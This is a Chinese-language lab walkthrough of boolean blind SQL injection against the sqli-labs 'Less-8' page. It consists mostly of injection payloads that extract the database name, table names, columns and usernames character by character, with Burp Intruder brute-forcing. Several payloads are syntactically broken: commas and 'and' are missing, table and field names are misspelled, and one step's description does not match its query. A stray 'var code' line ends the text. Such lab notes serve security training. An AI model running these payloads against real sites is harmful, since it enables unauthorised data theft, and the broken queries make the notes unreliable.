原理:前面几关都有数据回显,而在有的界面不会回显数据,只会显示对错,此时查库名等就比较难查,只能根据猜对错来判断。
关卡8
判断闭合类型!
?id=1' and 1=1 %23
单引号闭合
判断字段数!
?id=1' order by 3 %23
回显you are in .......(回显正常)
3、回显位
?id=1' and select 1,2,3 %23
没有显示位
4、布尔盲注判断数据库名长度
?id=1' and (length(database())) > n %23
回显正常(回显you are in.....) 时,库名长度为n-1
5、burp爆破数据库名
?id=1' and ascii(substr(database(),1,1)) = n %23
利用burp抓包,将包放入intruder模块,将n设置为变量,payloads设置爆破模式,类型设置为number数字类型,自增(sequential)0-127 步长1,开始,查看返回length即可查出第一位ascii码。
依次爆破出数据库名
6、判断数据库有多少张表
?id=1' and (select count(*) from information_schema.tables where table_schema = "security") = n %23
7、判断第一张表名长度
?id=1' and (length((select table_name from information_schema.tables where tables_schema = "security" limit 0,1))) = n %23
8、判断第一张表名的第一个字母
?id=1' (ascii(substr((select table_name from information_schema.tables where table_schema = "security" limit 0,1)1,1))) = n %23
同理用burp爆破
9、判断表中字段
?id=1' and (select count(*) from information_schema.columns where table_schema = "security" and table_name = "users") = 3 %23
10、判断第一个字段多少个值
?id=1' and (ascii(substr((select column_name from information_schema.columns where table_schema = "security" and table_name= "name" limit 0,1)1,1))) = n %23
11、判断第一个值长度
?id=1' and (length((select username from user limit 0,1))) =n %23
12、爆数据!!!!
?id=1' and (ascii(substr((select username from users limit 0,1)1,1))) = n %23
利用burp爆破吧
var code = "caebb777-ea02-4e7f-a9e6-4d866d264ec7"